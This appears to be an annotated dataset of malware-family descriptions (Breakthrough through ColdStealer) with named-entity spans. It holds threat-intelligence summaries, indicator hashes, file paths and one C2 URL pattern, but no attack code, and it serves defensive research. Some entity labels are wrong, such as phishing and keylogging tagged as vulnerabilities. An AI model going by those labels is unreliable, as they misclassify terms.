+{"text": "There is no reference available for this family and all known samples have version 1.0.0.\r\n\r\nPdb-strings in the samples suggest that this is an \"exclusive\" loader, known as \"breakthrough\" (maybe), e.g. C:\\Users\\Exclusiv\\Desktop\\хп-пробив\\Release\\build.pdb\r\n\r\nThe communication url parameters are pretty unique in this combination:\r\ngate.php?hwid=<guid>&os=<OS>&build=1.0.0&cpu=8\r\n\r\n<OS> is one of:\r\nWindows95\r\nWindows98\r\nWindowsMe\r\nWindows95family\r\nWindowsNT3\r\nWindowsNT4\r\nWindows2000\r\nWindowsXP\r\nWindowsServer2003\r\nWindowsNTfamily\r\nWindowsVista\r\nWindows7\r\nWindows8\r\nWindows10", "spans": {"FILEPATH: C:\\Users\\Exclusiv\\Desktop\\хп-пробив\\Release\\build.pdb": [[202, 255]], "MALWARE: breakthrough": [[174, 186]]}, "info": {"source": "apt_reports", "name": "Breakthrough"}}
+{"text": "According to Mandiant, BROKEYOLK is a .NET downloader that downloads and executes a file from a hard-coded command and control (C2) server. The malware communicates via SOAP (Simple Object Access Protocol) requests using HTTP.", "spans": {"MALWARE: BROKEYOLK": [[23, 32]], "SYSTEM: .NET": [[38, 42]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "BROKEYOLK"}}
+{"text": "Oyster is a backdoor malware written in C++ that first appeared in July 2023. It allows for remote sessions, supporting tasks such as file transfer and command-line processing. This malware has been used by numerous threat actors as a tool to facilitate ransomware intrusions. The distribution of Oyster has likely occurred through various methods, as suggested by the build identifiers found in examined samples. Additionally, Oyster is capable of collecting basic system data and communicates with a command-and-control (C2) server. It can execute commands via cmd.exe and run additional files.\r\n\r\nIn August 2024, a new version of Oyster was discovered that featured a new command-and-control (C2) communication protocol format. This 2024 version contained plaintext strings and lacked code obfuscation, suggesting it was still in development. In contrast to the 2024 version, the new 2025 Oyster version does not send C2 messages in plaintext, instead reintroducing the substitution cipher that was present in earlier versions of Oyster.", "spans": {"MALWARE: Oyster": [[0, 6], [297, 303], [428, 434], [633, 639], [892, 898], [1033, 1039]], "TOOL: cmd.exe": [[563, 570]], "TOOL: cmd": [[563, 566]]}, "info": {"source": "apt_reports", "name": "Broomstick"}}
+{"text": "Brute Ratel C4 (BRC4) is a commercial framework for red-teaming and adversarial attack simulation, which made its first appearance in December 2020. It was specifically designed to evade detection by endpoint detection and response (EDR) and antivirus (AV) capabilities. BRC4 allows operators to deploy a backdoor agent known as Badger (aka BOLDBADGER) within a target environment.\r\nThis agent enables arbitrary command execution, facilitating lateral movement, privilege escalation, and the establishment of additional persistence avenues. The Badger backdoor agent can communicate with a remote server via DNS over HTTPS, HTTP, HTTPS, SMB, and TCP, using custom encrypted channels. It supports a variety of backdoor commands including shell command execution, file transfers, file execution, and credential harvesting. Additionally, the Badger agent can perform tasks such as port scanning, screenshot capturing, and keystroke logging. Notably, in September 2022, a cracked version of Brute Ratel C4 was leaked in the cybercriminal underground, leading to its use by threat actors.", "spans": {"MALWARE: Brute Ratel C4": [[0, 14], [987, 1001]], "MALWARE: BOLDBADGER": [[341, 351]], "TOOL: Brute Ratel": [[0, 11], [987, 998]], "SYSTEM: SMB": [[637, 640]], "VULNERABILITY: privilege escalation": [[462, 482]]}, "info": {"source": "apt_reports", "name": "Brute Ratel C4"}}
+{"text": "According to PCRisk, BTCWare is an updated version of a ransomware-type virus called Crptxxx. This ransomware is distributed via a malicious application called \"Rogers Hi-Speed Internet\". Once infiltrated, BTCWare encrypts files and appends filenames with the \".btcware\" extension. Newer variants of this ransomware append .shadow, .payday, .wyvern, .nuclear, .aleta, .gryphon, .nopasaran, .blocking, .xfile, .master, .onyon, .theva, .cryptobyte or .cryptowin extensions to encrypted files. BTCWare then creates an HTM file (\"#_HOW_TO_FIX_!.hta.htm\"), placing it on the desktop. Other variants of this ransomware use !#_RESTORE_FILES_#!.inf file to store their ransom demanding message.", "spans": {"MALWARE: BTCWare": [[21, 28], [206, 213], [491, 498]]}, "info": {"source": "apt_reports", "name": "BTCWare"}}
+{"text": "BUBBLEWRAP is a full-featured backdoor that is set to run when the system boots, and can communicate using HTTP, HTTPS, or a SOCKS proxy. This backdoor collects system information, including the operating system version and hostname, and includes functionality to check, upload, and register plugins that can further enhance its capabilities.", "spans": {"MALWARE: BUBBLEWRAP": [[0, 10]]}, "info": {"source": "apt_reports", "name": "BUBBLEWRAP"}}
+{"text": "Buer is a downloader sold on underground forums and used by threat actors to deliver payload malware onto target machines. It has been observed in email campaigns and has been sold as a service since August 2019.", "spans": {"MALWARE: Buer": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Buer"}}
+{"text": "According to Elastic, BUGHATCH is an in-memory implant loaded by an obfuscated PowerShell script that decodes and executes an embedded shellcode blob in its allocated memory space using common Windows APIs (VirtualAlloc, CreateThread, WaitForSingleObject).", "spans": {"MALWARE: BUGHATCH": [[22, 30]], "TOOL: PowerShell": [[79, 89]], "SYSTEM: Windows": [[193, 200]], "ORGANIZATION: Elastic": [[13, 20]]}, "info": {"source": "apt_reports", "name": "BUGHATCH"}}
+{"text": "This malware is delivered by an ISO file, with an DLL inside with a custom loader. Because of the unique user-agent \"bumblebee\" this malware was dubbed BUMBLEBEE. At the time of Analysis by Google's Threat Analysis Group (TAG) BumbleBee was observed to fetch Cobalt Strike Payloads.", "spans": {"MALWARE: BumbleBee": [[227, 236]], "THREAT_ACTOR: Cobalt": [[259, 265]], "TOOL: Cobalt Strike": [[259, 272]], "ORGANIZATION: Google": [[190, 196]]}, "info": {"source": "apt_reports", "name": "BumbleBee"}}
+{"text": "Bundlebot is an info stealer that abuses the single-file dotnet bundle which operates as a self-contained executable that does not require any preinstalled dotnet runtime version. Bundlebot functionality targets a wide variety of data including the victim's system information, browser data, telegram data, discord token, Facebook account information, and screenshots.", "spans": {"MALWARE: Bundlebot": [[0, 9], [180, 189]], "ORGANIZATION: Facebook": [[322, 330]]}, "info": {"source": "apt_reports", "name": "BundleBot"}}
+{"text": "Bunitu is a trojan that exposes infected computers to be used as a proxy for remote clients. It registers itself at startup by providing its address and open ports. Access to Bunitu proxies is available by using criminal VPN services (e.g.VIP72).", "spans": {"MALWARE: Bunitu": [[0, 6], [175, 181]], "SYSTEM: VPN": [[221, 224]]}, "info": {"source": "apt_reports", "name": "Bunitu"}}
+{"text": "According to Mandiant, BURNBOOK is a dropper for TEARPAGE.", "spans": {"MALWARE: BURNBOOK": [[23, 31]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "BURNBOOK"}}
+{"text": "CaddyWiper is another destructive malware believed to be deployed to target Ukraine.\r\n\r\nCaddyWiper wipes all files under C:\\Users and all also all files under available drives from D: to Z: by overwriting the data with NULL value. If the target file is greater than 0xA00000 bytes in size (10MB), it will only wipe the first 0xA00000 bytes.\r\n\r\nIt also wipes disk partitions from \\\\.\\PHYSICALDRIVE9 to \\\\.\\PHYSICALDRIVE0 by overwriting the first 0x780 bytes with NULL.", "spans": {"FILEPATH: C:\\Users": [[121, 129]], "MALWARE: CaddyWiper": [[0, 10], [88, 98]]}, "info": {"source": "apt_reports", "name": "CaddyWiper"}}
+{"text": "CadelSpy is a spyware supposedly used by Iranian threat actors. It has several functions such as logging keystrokes, record audio, capture screenshots and webcam photos, and steal any documents that are sent to a printer.", "spans": {"MALWARE: CadelSpy": [[0, 8]]}, "info": {"source": "apt_reports", "name": "CadelSpy"}}
+{"text": "PWC describes this malware as a backdoor, capable of file management, upload and download of files, and execution of commands.", "spans": {}, "info": {"source": "apt_reports", "name": "Cameleon"}}
+{"text": "There is no lot of IOCs in this article so we take one sample and try to extract some interesting IOCs, our findings below :\r\n\r\nCamuBot sample : 37ca2e37e1dc26d6b66ba041ed653dc8ee43e1db71a705df4546449dd7591479\r\n\r\nDropped Files on disk :\r\n\r\nC:\\Users\\user~1\\AppData\\Local\\Temp\\protecao.exe : 0af612461174eedec813ce670ba35e74a9433361eacb3ceab6d79232a6fe13c1\r\n\r\nC:\\Users\\user~1\\AppData\\Local\\Temp\\Renci.SshNet.dll : 3E3CD9E8D94FC45F811720F5E911B892A17EE00F971E498EAA8B5CAE44A6A8D8\r\n\r\nC:\\ProgramData\\m.msi : AD90D4ADFED0BDCB2E56871B13CC7E857F64C906E2CF3283D30D6CFD24CD2190\r\n\r\nProtecao.exe try to download hxxp://www.usb-over-network.com/usb-over-network-64bit.msi\r\n\r\nA new driver is installed : C:\\Windows\\system32\\drivers\\ftusbload2.sys : 9255E8B64FB278BC5FFE5B8F70D68AF8\r\n\r\nftusbload2.sys set 28 IRP handlers.", "spans": {"FILEPATH: C:\\Users\\user~1\\AppData\\Local\\Temp\\protecao.exe": [[240, 287]], "FILEPATH: C:\\Users\\user~1\\AppData\\Local\\Temp\\Renci.SshNet.dll": [[358, 409]], "FILEPATH: C:\\ProgramData\\m.msi": [[480, 500]], "FILEPATH: C:\\Windows\\system32\\drivers\\ftusbload2.sys": [[690, 732]], "HASH: 37ca2e37e1dc26d6b66ba041ed653dc8ee43e1db71a705df4546449dd7591479": [[145, 209]], "HASH: 0af612461174eedec813ce670ba35e74a9433361eacb3ceab6d79232a6fe13c1": [[290, 354]], "HASH: 3E3CD9E8D94FC45F811720F5E911B892A17EE00F971E498EAA8B5CAE44A6A8D8": [[412, 476]], "HASH: AD90D4ADFED0BDCB2E56871B13CC7E857F64C906E2CF3283D30D6CFD24CD2190": [[503, 567]], "HASH: 9255E8B64FB278BC5FFE5B8F70D68AF8": [[735, 767]], "DOMAIN: www.usb-over-network.com": [[607, 631]], "MALWARE: CamuBot": [[128, 135]], "SYSTEM: Windows": [[693, 700]]}, "info": {"source": "apt_reports", "name": "CamuBot"}}
+{"text": "Cannibal Rat is a python written remote access trojan with 4 versions as of March 2018. The RAT is reported to impact users of a Brazilian public sector management school. The RAT is distributed in a py2exe format, with the python27.dll and the python bytecode stored as a PE resource and the additional libraries zipped in the overlay of the executable.", "spans": {"MALWARE: Cannibal Rat": [[0, 12]]}, "info": {"source": "apt_reports", "name": "Cannibal Rat"}}
+{"text": "MyCERT states that Carbanak is a remote backdoor designed for espionage, data exfiltration, and to remote control.\r\n\r\nThe attacker deploy malware via spear phishing email to lure the user to open and run the malicious attachment that will infect the machine. The main objective of this campaign is primarily to remotely control the infected machine and gain control of the internal destinations of money processing services such as Automated Teller Machines(ATM) and financial accounts. The following information are the malware capabilities:", "spans": {"MALWARE: Carbanak": [[19, 27]], "VULNERABILITY: phishing": [[156, 164]], "VULNERABILITY: spear phishing": [[150, 164]]}, "info": {"source": "apt_reports", "name": "Carbanak"}}
+{"text": "Cardinal RAT is a remote access Trojan capable of stealing username and credentials, cleaning out cookies from browsers, keylogging and capturing screenshots on targeted systems. It is delivered via a downloader dubbed “Carp” which uses malicious macros in Microsoft Excel documents to compile embedded source code into an executable, which then deploys the Cardinal RAT malware family.", "spans": {"MALWARE: Cardinal RAT": [[0, 12], [358, 370]], "SYSTEM: Microsoft Excel": [[257, 272]], "ORGANIZATION: Microsoft": [[257, 266]], "VULNERABILITY: keylogging": [[121, 131]]}, "info": {"source": "apt_reports", "name": "Cardinal RAT"}}
+{"text": "CargoBay is a newer malware family which was first observed in 2022 and is notable for being written in the Rust language. CargoBay is likely based on source code taken from 'Black Hat Rust' GitHub project (https://github.com/skerkour/black-hat-rust). CargoBay is usually distributed via phishing emails, and the malware binaries may be disguised as legitimate applications. Upon execution, the malware starts by performing environmental checks such as checking its execution path and the configured system language. If the tests pass, then the malware proceeds to gather basic system information and register with its C2 via HTTP from which it receives JSON-formatted jobs to carry out. CargoBay can execute commands via the command line and downloading additional malware binaries.", "spans": {"URL: https://github.com/skerkour/black-hat-rust": [[207, 249]], "MALWARE: CargoBay": [[0, 8], [123, 131], [252, 260], [688, 696]], "SYSTEM: GitHub": [[191, 197]], "SYSTEM: Rust": [[108, 112], [185, 189]], "VULNERABILITY: phishing": [[288, 296]]}, "info": {"source": "apt_reports", "name": "CargoBay"}}
+{"text": "CARROTBALL is a simple FTP downloader built to deploy SYSCON, a Remote Access Trojan used by the same threat actor. Discovered by Unit 42 in late 2019, the downloader was adopted for use in spear phishing attacks against US government agencies.", "spans": {"MALWARE: CARROTBALL": [[0, 10]], "ORGANIZATION: Unit 42": [[130, 137]], "VULNERABILITY: phishing": [[196, 204]], "VULNERABILITY: spear phishing": [[190, 204]], "MALWARE: SYSCON": [[54, 60]]}, "info": {"source": "apt_reports", "name": "CARROTBALL"}}
+{"text": "ESET describes Casper as a well-developed reconnaissance tool, making extensive efforts to remain unseen on targeted machines. Of particular note are the specific strategies adopted against anti-malware software. Casper was used against Syrian targets in April 2014, which makes it the most recent malware from this group publicly known at this time.", "spans": {"MALWARE: Casper": [[15, 21], [213, 219]], "SYSTEM: ESET": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Casper"}}
+{"text": "CastleLoader payloads are distributed as portable executables containing an embedded shellcode, which then invokes the main module of the loader that, in turn, connects to the C2 server in order to fetch and execute the next-stage malware.", "spans": {"MALWARE: CastleLoader": [[0, 12]]}, "info": {"source": "apt_reports", "name": "CASTLELOADER"}}
+{"text": "According to CrowdStrike, this backdoor was discovered embedded in the legitimate, signed version of CCleaner 5.33, and thus constitutes a supply chain attack.", "spans": {"ORGANIZATION: CrowdStrike": [[13, 24]], "VULNERABILITY: supply chain attack": [[139, 158]]}, "info": {"source": "apt_reports", "name": "CCleaner Backdoor"}}
+{"text": "Mandiant characterizes this malware as a downloader and shellcode stager.", "spans": {"ORGANIZATION: Mandiant": [[0, 8]]}, "info": {"source": "apt_reports", "name": "CEELOADER"}}
+{"text": "A prolific ransomware which originally added \".cerber\" as a file extension to encrypted files. Has undergone multiple iterations in which the extension has changed. Uses a very readily identifiable set of of UDP activity to checkin and report infections. Primarily uses TOR for payment information.", "spans": {"MALWARE: cerber": [[47, 53]]}, "info": {"source": "apt_reports", "name": "Cerber"}}
+{"text": "This malware made its first appearance during the middle to end of 2020, it specifically targets Brazil and the largest e-commerce company in Latin America, Mercado Livre. It is a multistage malware deployment which uses several legitimate Windows processes and open source tools to remain undetected.", "spans": {"SYSTEM: Windows": [[240, 247]]}, "info": {"source": "apt_reports", "name": "Chaes"}}
+{"text": "In-development ransomware family which was released in June 2021 by an unknown threat actor. The builder initially claimed to be a \"Ryuk .Net Ransomware Builder\" even though it was completely unrelated to the Ryuk malware family. Presently it appears to contain trojan-like features, but lacks features commonly found in ransomware such as data exfiltration.", "spans": {"MALWARE: Ryuk": [[132, 136], [209, 213]]}, "info": {"source": "apt_reports", "name": "Chaos"}}
+{"text": "According to Kaspersky GReAT and AMR, TajMahal is a previously unknown and technically sophisticated APT framework discovered by Kaspersky Lab in the autumn of 2018. This full-blown spying framework consists of two packages named Tokyo and Yokohama. It includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents and cryptography key stealers, and even its own file indexer for the victim’s machine. We discovered up to 80 malicious modules stored in its encrypted Virtual File System, one of the highest numbers of plugins they have ever seen for an APT toolset.", "spans": {"SYSTEM: Kaspersky": [[13, 22], [129, 138]], "MALWARE: TajMahal": [[38, 46]]}, "info": {"source": "apt_reports", "name": "Chaperone"}}
+{"text": "According to Secui, this ransomware was used in attacks observed against Middle Eastern government agencies and the aviation industry.", "spans": {}, "info": {"source": "apt_reports", "name": "Charon"}}
+{"text": "CHCH is a Ransomware spotted in the wild in December 2019. It encrypts victim files and adds the extension .chch to them while it drops a ransomware note named: READ_ME.TXT", "spans": {"MALWARE: CHCH": [[0, 4]]}, "info": {"source": "apt_reports", "name": "CHCH"}}
+{"text": "CHEESETRAY is a sophisticated proxy-aware backdoor that can operate in both active and passive mode depending on the passed command-line parameters. The backdoor is capable of enumerating files and processes, enumerating drivers, enumerating remote desktop sessions, uploading and downloading files, creating and terminating processes, deleting files, creating a reverse shell, acting as a proxy server, and hijacking processes among its other functionality. The backdoor communicates with its C&C server using a custom binary protocol over TCP with port specified as a command-line parameter.", "spans": {"MALWARE: CHEESETRAY": [[0, 10]]}, "info": {"source": "apt_reports", "name": "CHEESETRAY"}}
+{"text": "Chernolocker is a ransomware that encrypts a victim's files by using AES-256 and it asks for BTC ransom. Different versions are classified by the attacker's email address which changes over time.", "spans": {"MALWARE: Chernolocker": [[0, 12]]}, "info": {"source": "apt_reports", "name": "Chernolocker"}}
+{"text": "According to PCrisk, Chimera is a ransomware virus that encrypts files stored on infected systems. It is distributed using various false job applications, business offers, and infected email attachments. After encrypting the files, Chimera adds a . crypt extension to each file.", "spans": {"MALWARE: Chimera": [[21, 28], [232, 239]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Chimera"}}
+{"text": "a simple code injection webshell that executes Microsoft .NET code within HTTP POST commands. This allows the shell to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and any other action allowed by the .NET runtime.", "spans": {"SYSTEM: Active Directory": [[236, 252]], "SYSTEM: .NET": [[57, 61], [308, 312]], "ORGANIZATION: Microsoft": [[47, 56]], "VULNERABILITY: code injection": [[9, 23]]}, "info": {"source": "apt_reports", "name": "CHINACHOPPER"}}
+{"text": "Adware that shows advertisements using plugin techniques for popular browsers", "spans": {}, "info": {"source": "apt_reports", "name": "Chinad"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "ChinaJm"}}
+{"text": "Chisel is an open-source project by Jaime Pillora (jpillora) that allows tunneling TCP and UDP connections via HTTP. It is available across platforms and written in Go. While benign in itself, Chisel has been utilized by multiple threat actors. It was for example observed by SentinelOne during a PYSA ransomware campaign to achieve persistence and used as backdoor.\r\nGithub: https://github.com/jpillora/chisel", "spans": {"URL: https://github.com/jpillora/chisel": [[376, 410]], "TOOL: Chisel": [[0, 6], [193, 199]], "SYSTEM: SentinelOne": [[276, 287]], "SYSTEM: Go": [[165, 167]]}, "info": {"source": "apt_reports", "name": "Chisel"}}
+{"text": "Choziosi is a browser hijacker for Chrome. It was first seen in January 2022. It commonly infects users via pirated media downloads like games, software, wallpapers or movies. The initial infectors are available for several platforms such as Mac and Windows.\r\n\r\nIts main component is the Chrome browser extension written in JavaScript with the purpose of serving advertisments and hijacking search requests to Google, Yahoo and Bing.", "spans": {"MALWARE: Choziosi": [[0, 8]], "SYSTEM: Chrome": [[35, 41], [288, 294]], "SYSTEM: Windows": [[250, 257]], "ORGANIZATION: Google": [[410, 416]]}, "info": {"source": "apt_reports", "name": "Choziosi"}}
+{"text": "ChrGetPdsi is a basic infostealer written in Golang which is designed to steal browser history and logins, and targets Chrome, Edge, and Firefox. The output is written to a text file named chrgetpdsi.txt. Based on the samples analysed, the malware does not appear to have networking capabilities, and therefore it is likely that it is intended to be used in a post-compromise situation where the attacker already has access to the target system and can retrieve the created output file via other means.ChrGetPdsi has been observed being deployed by the Broomstick malware.", "spans": {"SYSTEM: Edge": [[127, 131]], "SYSTEM: Chrome": [[119, 125]], "SYSTEM: Firefox": [[137, 144]], "MALWARE: Broomstick": [[553, 563]]}, "info": {"source": "apt_reports", "name": "ChrGetPdsi Stealer"}}
+{"text": "According to Rapid7, Chrysalis is a custom, feature-rich backdoor. Its wide array of capabilities indicates it is a sophisticated and permanent tool, not a simple throwaway utility. It uses legitimate binaries to sideload a crafted DLL with a generic name, which makes simple filename-based detection unreliable. It relies on custom API hashing in both the loader and the main module, each with its own resolution logic. This is paired with layered obfuscation and a fairly structured approach to C2 communication.", "spans": {"MALWARE: Chrysalis": [[21, 30]], "ORGANIZATION: Rapid7": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Chrysalis"}}
+{"text": "Clambling was discovered by Trend Micro and TalentJump. It is a custom malware used by an actor they refer to as DRBControl, which targets gambling and betting companies in Southeast Asia. One version of Clambling uses Dropbox as C&C channel to hide its communication.", "spans": {"MALWARE: Clambling": [[0, 9], [204, 213]], "SYSTEM: Trend Micro": [[28, 39]]}, "info": {"source": "apt_reports", "name": "Clambling"}}
+{"text": "CLEANTOAD is a disruption tool that will delete file system artifacts, including those related to BLINDTOAD, and will run after a date obtained from a configuration file. The malware injects shellcode into notepad.exe and it overwrites and deletes files, modifies registry keys, deletes services, and clears Windows event logs.", "spans": {"MALWARE: CLEANTOAD": [[0, 9]], "SYSTEM: Windows": [[308, 315]], "MALWARE: BLINDTOAD": [[98, 107]]}, "info": {"source": "apt_reports", "name": "CLEANTOAD"}}
+{"text": "The ClipBanker Trojan is known as an information stealer and spy trojan, it aims to steal and record any type of sensitive information from the infected environment such as browser history, cookies, Outlook data, Skype, Telegram, or cryptocurrency wallet account addresses. The main goal of this threat is to steal confidential information.\r\n The ClipBanker uses PowerShell commands for executing malicious activities. The thing that made the ClipBanker unique is its ability to record various banking actions of the user and manipulate them for its own benefit. The distribution method of the ClipBanker is through phishing emails or through social media posts that lure users to download malicious content.", "spans": {"MALWARE: ClipBanker": [[4, 14], [347, 357], [443, 453], [594, 604]], "TOOL: PowerShell": [[363, 373]], "SYSTEM: Skype": [[213, 218]], "SYSTEM: Outlook": [[199, 206]], "SYSTEM: Telegram": [[220, 228]], "VULNERABILITY: phishing": [[616, 624]]}, "info": {"source": "apt_reports", "name": "ClipBanker"}}
+{"text": "A keylogger.", "spans": {"VULNERABILITY: keylogger": [[2, 11]]}, "info": {"source": "apt_reports", "name": "Clipog"}}
+{"text": "Clop is a ransomware which uses the .clop extension after having encrypted the victim's files. Another unique characteristic belonging with Clop is in the string: \"Dont Worry C|0P\" included into the ransom notes. It is a variant of CryptoMix ransomware, but it additionally attempts to disable Windows Defender and to remove the Microsoft Security Essentials in order to avoid user space detection.", "spans": {"MALWARE: Clop": [[0, 4], [140, 144]], "SYSTEM: Windows Defender": [[294, 310]], "SYSTEM: Windows": [[294, 301]], "ORGANIZATION: Microsoft": [[329, 338]], "MALWARE: CryptoMix": [[232, 241]]}, "info": {"source": "apt_reports", "name": "Clop"}}
+{"text": "CLOUDBURST aka NickelLoader is an HTTP(S) downloader. \r\n\r\nIt recognizes a set of four basic commands, all five letters long, like abcde, avdrq, gabnc and dcrqv (alternatively: eknag, eacec, hjmwk, wohnp). The most important functionality is to load a received buffer, either as a DLL via the MemoryModule implementation, or as a shellcode.\r\n\r\nIt uses AES for encryption and decryption of network traffic. It usually sends the following information back to its C&C server: computer name, product name and the list of running processes. Typically, it uses two hardcoded parameter names for its initial HTTP POST requests: gametype and type (alternatively: type and code).\r\n\r\nThe CLOUDBURST payload is disguised as mscoree.dll and is side-loaded via a legitimate Windows binary PresentationHost.exe with the argument -embeddingObject. It comes either as a trojanized plugin project for Notepad++ (usually FingerText by erinata), or as a standalone DLL loaded by a dropper, which is a trojanized plugin project as well (usually NppyPlugin by Jari Pennanen).\r\n\r\nThe CLOUDBURST malware was used in Operation DreamJob attacks against an aerospace company and a network running Microsoft Intune software in Q2-Q3 2022.", "spans": {"MALWARE: CLOUDBURST": [[0, 10], [677, 687], [1061, 1071]], "MALWARE: NickelLoader": [[15, 27]], "SYSTEM: Windows": [[760, 767]], "ORGANIZATION: Microsoft": [[1170, 1179]]}, "info": {"source": "apt_reports", "name": "CLOUDBURST"}}
+{"text": "CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.", "spans": {"MALWARE: CloudEyE": [[0, 8]], "MALWARE: GuLoader": [[26, 34]], "TOOL: Remcos": [[168, 174]], "ORGANIZATION: Google": [[202, 208]], "MALWARE: Vidar": [[130, 135]], "MALWARE: Agent Tesla": [[111, 122]], "MALWARE: Formbook": [[137, 145]], "MALWARE: Lokibot": [[147, 154]]}, "info": {"source": "apt_reports", "name": "CloudEyE"}}
+{"text": "F-Secure describes CloudDuke as a malware toolset known to consist of, at least, a downloader, a loader and two backdoor variants. The CloudDuke downloader will download and execute additional malware from a preconfigured location. Interestingly, that location may be either a web address or a Microsoft OneDrive account. Both CloudDuke backdoor variants support simple backdoor functionality, similar to SeaDuke. While one variant will use a preconfigured C&C server over HTTP or HTTPS, the other variant will use a Microsoft OneDrive account to exchange commands and stolen data with its operators.", "spans": {"MALWARE: CloudDuke": [[19, 28], [135, 144], [327, 336]], "ORGANIZATION: Microsoft": [[294, 303], [517, 526]], "ORGANIZATION: F-Secure": [[0, 8]], "MALWARE: SeaDuke": [[405, 412]]}, "info": {"source": "apt_reports", "name": "CloudDuke"}}
+{"text": "According to ESET Research, CloudScout is a  toolset is capable of retrieving data from various cloud services by leveraging stolen web session cookies. Through a plugin, CloudScout works seamlessly with MgBot, Evasive Panda’s signature malware framework.", "spans": {"MALWARE: CloudScout": [[28, 38], [171, 181]], "THREAT_ACTOR: Evasive Panda": [[211, 224]], "SYSTEM: ESET": [[13, 17]], "MALWARE: MgBot": [[204, 209]]}, "info": {"source": "apt_reports", "name": "CloudScout"}}
+{"text": "This Go written malware was observed during campaign of COBALT MIRAGE; it includes FRP (Fast Reverse Proxy) published by fatedier on GitHub (https://github.com/fatedier/frp) and other projects additionally.", "spans": {"URL: https://github.com/fatedier/frp": [[141, 172]], "SYSTEM: GitHub": [[133, 139]], "SYSTEM: Go": [[5, 7]]}, "info": {"source": "apt_reports", "name": "CobaltMirage FRP"}}
+{"text": "Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.\r\n\r\nThe Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.", "spans": {"TOOL: Cobalt Strike": [[0, 13], [740, 753]], "TOOL: Beacon": [[102, 108], [133, 139], [353, 359], [837, 843]], "THREAT_ACTOR: Cobalt": [[0, 6], [740, 746]], "SYSTEM: SMB": [[658, 661]], "VULNERABILITY: privilege escalation": [[285, 305]]}, "info": {"source": "apt_reports", "name": "Cobalt Strike"}}
+{"text": "CobInt, is a self-developed backdoor of the Cobalt group. The modular tool has capabilities to collect initial intelligence information about the compromised machine and stream video from its desktop. If the operator decides that the system is of interest, the backdoor will download and launch CobaltStrike framework stager. It's CRM mailslot module was also observed being downloaded by ISFB.", "spans": {"MALWARE: CobInt": [[0, 6]], "THREAT_ACTOR: Cobalt": [[44, 50]], "TOOL: CobaltStrike": [[295, 307]], "MALWARE: ISFB": [[389, 393]]}, "info": {"source": "apt_reports", "name": "CobInt"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "CodeCore"}}
+{"text": "Zscaler ThreatLabz states that this sophisticated malware family likely originated around September 2024. The purpose of the malware is to download and execute second-stage payloads while evading detection by endpoint-based security products. The malware uses numerous techniques to bypass security solutions, including a specialized packer called Armoury that utilizes the GPU, call stack spoofing, sleep obfuscation, and the use of Windows fibers. It also contains a backup DGA and is capable of deploying Rhadamanthys shellcode. ThreatLabz has observed CoffeeLoader being distributed via SmokeLoader, and both malware families share some behavioral similarities.", "spans": {"MALWARE: CoffeeLoader": [[556, 568]], "SYSTEM: Windows": [[434, 441]], "ORGANIZATION: Zscaler": [[0, 7]], "MALWARE: Rhadamanthys": [[508, 520]], "MALWARE: SmokeLoader": [[591, 602]]}, "info": {"source": "apt_reports", "name": "CoffeeLoader"}}
+{"text": "Coinminer is an unwanted malicious software which uses the victim's computational power (CPU and RAM mostly) to mine for coins (for example Monero or Zcash). The malware achieves persistence by adding one of the opensource miners on startup without the victim's consensus. Most sophisticated coin miners use timer settings or cap the CPU usage in order to remain stealthy.", "spans": {"MALWARE: Coinminer": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Coinminer"}}
+{"text": "Cold$eal is a packer for encrypting (sealing) malware. It contains some AV-evasion techniques as well as some sandbox-detection. It was developed by $@dok (aka Sadok aka Coldseal).\r\nIt was available as a cryptor service under the url coldseal.us and was later sold as a toolkit consisting of the cryptor and a custom made cryptostub including a FuD garantee backed by free update to the cryptostub. The payload was encrypted using RC4 and added to the cryptostub as a resource. The encryption key itself was stored inside the resource as well. Upon start the cryptostub would extract the key, decrypt the payload and perform a selfinjection using the now decrypted payload.\r\nNote: The packed sample provided contains some harmless payload, while the unpacked sample is the bare cryptostub without a payload.", "spans": {"MALWARE: Cold$eal": [[0, 8]], "MALWARE: Coldseal": [[170, 178]], "MALWARE: coldseal": [[234, 242]]}, "info": {"source": "apt_reports", "name": "Cold$eal"}}
+{"text": "ColdStealer is a relatively new malicious program that was discovered in 2022. Like many other stealers its main purpose is to steal credentials and information from web browsers, in addition to stealing cryptocurrency wallets, FTP credentials, various files and information about the system such as OS version, system language, processor type and clipboard data. When the infostealer collects information that will be stolen, it saves the information in the ZIP form instead of files in the memory. Doing so will allow the malware to bypass detection as there are no traces of files and execution. The only known method of delivering stolen information to cybercriminals is by sending a ZIP archive to the hardcoded command and control (C2) server.", "spans": {"MALWARE: ColdStealer": [[0, 11]]}, "info": {"source": "apt_reports", "name": "ColdStealer"}}
